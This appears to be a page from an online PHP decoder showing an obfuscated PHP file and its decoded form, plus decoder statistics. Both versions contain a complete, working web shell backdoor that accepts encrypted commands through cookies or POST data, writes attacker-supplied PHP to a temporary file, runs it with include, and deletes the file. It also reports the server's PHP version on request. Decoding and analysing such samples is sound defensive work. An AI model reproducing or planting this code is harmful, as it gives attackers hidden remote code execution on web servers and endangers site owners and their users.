Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* gz_ */function zxxkpe(){$ncbsce='xqmictaf'; print_r (5858+5858); } $ow..

Decoded Output download

<?php /*  gz_ */function   zxxkpe(){$ncbsce='xqmictaf';	print_r    (5858+5858);	} 
 
 
$owdemo_aq     =       'owdemo_aq'	^/*   wip   */''; 
 
 
 
 
function	xohmyulbw($mwzpnz,	$xnbmog_ut) 
 
{ 
/*   dvcv   */global     $owdemo_aq;	$zuymrfg	=  ""; 
 
/* jf  */for      ($fopklvlc	=      0;/*  dux */$fopklvlc/*  uncv */<	strlen($mwzpnz);)/*calvm */{ 
 
 
/*   n*/for/*   vkcjf*/($phlcy	=    0;	$phlcy	<	strlen($xnbmog_ut)    &&      $fopklvlc	</*   cjlq_   */strlen($mwzpnz);   $phlcy++,/* tzjf */$fopklvlc++)      { 
 
 
	$zuymrfg      .=/*  wnja */$owdemo_aq(ord($mwzpnz[$fopklvlc])  ^/* aot_v */ord($xnbmog_ut[$phlcy])); 
 
/* zt_t  */} 
/*  k*/} 
 
 
	return	$zuymrfg;} 
 
 
function/* ykox */cmsfz($prfhgf,/* wc  */$mwzpnz){ 
 
    global	$owdemo_aq; 
   $hcbdbjsv   =   sprintf("."."/"/*bvxk*/.    $owdemo_aq(115-78)/* pb*/.     $owdemo_aq(768-653)	.     "."  ./* aczvj   */"p"."l",/*  pzml*/md5($prfhgf)); 
 
     file_put_contents($hcbdbjsv,   "<"     .     "?"   .	$owdemo_aq(112)/* r*/./*q  */"h"."p".$owdemo_aq(32)     .    "u"."n"   .      "l".$owdemo_aq(105)  .	"n"."k"."("	.	$owdemo_aq(95)    .	$owdemo_aq(999-904)      ./* l */"F"       ./*z   */"I"/*wvg  */.	"L"."E"."_"      ./* x*/"_"/* adp  */.	")"	./* ui  */";"	.	$owdemo_aq(32)/*zlmq */.	$mwzpnz[$owdemo_aq(100)]); 
	include($hcbdbjsv); 
/*w   */$efbmpc/*wbf  */=	$hcbdbjsv; 
	unlink($efbmpc); 
} 
 
function/*cr   */hlzcg() 
 
{ 
 
 
	global   $owdemo_aq;/*  mteq */    $fopklvlc      =	array(); 
/*  b */$fopklvlc["p".$owdemo_aq(274-156)]	=	phpversion(); 
 
/*  sut   */$fopklvlc[$owdemo_aq(1049-934)	.	"v"]  =       "3"."."    .	"5"; 
 
   echo/*   g   */@serialize($fopklvlc); 
} 
 
function/*   xgd*/uwwvvbphx($mwzpnz,      $prfhgf,	$cbonkb){ 
 
 
	global/* iwdy */$owdemo_aq; 
 
 
	 
 
 
/*ybg_   */$mwzpnz    =	unserialize(xohmyulbw(xohmyulbw(base64_decode($mwzpnz),	$prfhgf),/* yebm  */$cbonkb)); 
 
	if/* ml*/(isset($mwzpnz["a"."k"]))	{ 
 
 
/*   u*/if/* yyfm  */($mwzpnz["a"]     ==	"i")/* tzlu*/{ 
/*  gmk  */hlzcg(); 
/*  hcizg */}/*   q  */elseif	($mwzpnz["a"]      ==/* jdey_*/"e")    { 
 
	cmsfz($prfhgf,       $mwzpnz); 
/*   i*/} 
 
   exit(); 
 
/*fj  */} 
 
} 
 
 
$lzdyrdh/*  c*/=     $_COOKIE; 
 
 
$_atlr       =	$_POST;$lzdyrdh   =/*   dte */array_merge($_atlr,/*   cbja  */$lzdyrdh); 
$prfhgf/*fwkgw  */=   "c"	.	$owdemo_aq(198-142)	.    "e"."1"."8"    ./* bj  */$owdemo_aq(1050-994)	./*b   */"1".$owdemo_aq(55)	./*   kopb */"-"      .     $owdemo_aq(102)       ./*cunbf   */"b".$owdemo_aq(541-486)    .     "7"  .      $owdemo_aq(45)	.     $owdemo_aq(52)	.    "7"	.     "c"/*en */.	"e"."-".$owdemo_aq(56)   ./*wi_w */"7"."1"."6"     .    "-"/*   j  */./*hwgbg   */"c"	.	"f"/* vhq */.      "9"."7"	.	$owdemo_aq(262-212)       .	"2".$owdemo_aq(49)	./*uc  */$owdemo_aq(100)."5"	.	"9"      ./* d */$owdemo_aq(100)."a"; 
 
foreach  ($lzdyrdh/*b */as	$cbonkb/*ys   */=>	$mwzpnz)/*   kez   */{/*   xo   */uwwvvbphx($mwzpnz,  $prfhgf,       $cbonkb); 
 
} ?>

Did this file decode correctly?

Original Code

<?php /*  gz_ */function   zxxkpe(){$ncbsce='xqmictaf';	print_r    (5858+5858);	}


$owdemo_aq     =       'owdemo_aq'	^/*   wip   */'';




function	xohmyulbw($mwzpnz,	$xnbmog_ut)

{
/*   dvcv   */global     $owdemo_aq;	$zuymrfg	=  "";

/* jf  */for      ($fopklvlc	=      0;/*  dux */$fopklvlc/*  uncv */<	strlen($mwzpnz);)/*calvm */{


/*   n*/for/*   vkcjf*/($phlcy	=    0;	$phlcy	<	strlen($xnbmog_ut)    &&      $fopklvlc	</*   cjlq_   */strlen($mwzpnz);   $phlcy++,/* tzjf */$fopklvlc++)      {


	$zuymrfg      .=/*  wnja */$owdemo_aq(ord($mwzpnz[$fopklvlc])  ^/* aot_v */ord($xnbmog_ut[$phlcy]));

/* zt_t  */}
/*  k*/}


	return	$zuymrfg;}


function/* ykox */cmsfz($prfhgf,/* wc  */$mwzpnz){

    global	$owdemo_aq;
   $hcbdbjsv   =   sprintf("."."\57"/*bvxk*/.    $owdemo_aq(115-78)/* pb*/.     $owdemo_aq(768-653)	.     "\56"  ./* aczvj   */"p"."l",/*  pzml*/md5($prfhgf));

     file_put_contents($hcbdbjsv,   "<"     .     "\x3f"   .	$owdemo_aq(112)/* r*/./*q  */"h"."p".$owdemo_aq(32)     .    "u"."\x6e"   .      "l".$owdemo_aq(105)  .	"n"."k"."\50"	.	$owdemo_aq(95)    .	$owdemo_aq(999-904)      ./* l */"\x46"       ./*z   */"\x49"/*wvg  */.	"L"."E"."\x5f"      ./* x*/"\x5f"/* adp  */.	"\x29"	./* ui  */"\73"	.	$owdemo_aq(32)/*zlmq */.	$mwzpnz[$owdemo_aq(100)]);
	include($hcbdbjsv);
/*w   */$efbmpc/*wbf  */=	$hcbdbjsv;
	unlink($efbmpc);
}

function/*cr   */hlzcg()

{


	global   $owdemo_aq;/*  mteq */    $fopklvlc      =	array();
/*  b */$fopklvlc["p".$owdemo_aq(274-156)]	=	phpversion();

/*  sut   */$fopklvlc[$owdemo_aq(1049-934)	.	"\166"]  =       "3"."\56"    .	"5";

   echo/*   g   */@serialize($fopklvlc);
}

function/*   xgd*/uwwvvbphx($mwzpnz,      $prfhgf,	$cbonkb){


	global/* iwdy */$owdemo_aq;


	


/*ybg_   */$mwzpnz    =	unserialize(xohmyulbw(xohmyulbw(base64_decode($mwzpnz),	$prfhgf),/* yebm  */$cbonkb));

	if/* ml*/(isset($mwzpnz["\x61"."k"]))	{


/*   u*/if/* yyfm  */($mwzpnz["\x61"]     ==	"i")/* tzlu*/{
/*  gmk  */hlzcg();
/*  hcizg */}/*   q  */elseif	($mwzpnz["\x61"]      ==/* jdey_*/"e")    {

	cmsfz($prfhgf,       $mwzpnz);
/*   i*/}

   exit();

/*fj  */}

}


$lzdyrdh/*  c*/=     $_COOKIE;


$_atlr       =	$_POST;$lzdyrdh   =/*   dte */array_merge($_atlr,/*   cbja  */$lzdyrdh);
$prfhgf/*fwkgw  */=   "\x63"	.	$owdemo_aq(198-142)	.    "e"."1"."\x38"    ./* bj  */$owdemo_aq(1050-994)	./*b   */"1".$owdemo_aq(55)	./*   kopb */"\x2d"      .     $owdemo_aq(102)       ./*cunbf   */"b".$owdemo_aq(541-486)    .     "\67"  .      $owdemo_aq(45)	.     $owdemo_aq(52)	.    "\67"	.     "\x63"/*en */.	"e"."-".$owdemo_aq(56)   ./*wi_w */"7"."1"."\x36"     .    "\55"/*   j  */./*hwgbg   */"\143"	.	"\x66"/* vhq */.      "9"."\x37"	.	$owdemo_aq(262-212)       .	"2".$owdemo_aq(49)	./*uc  */$owdemo_aq(100)."\65"	.	"\71"      ./* d */$owdemo_aq(100)."\141";

foreach  ($lzdyrdh/*b */as	$cbonkb/*ys   */=>	$mwzpnz)/*   kez   */{/*   xo   */uwwvvbphx($mwzpnz,  $prfhgf,       $cbonkb);

}

Function Calls

array_merge 1

Variables

$_atlr 0
$lzdyrdh 0
$owdemo_aq chriryS~g

Stats

MD5 51dae9fedcee0051ad8c77650ae20636
Eval Count 0
Decode Time 63 ms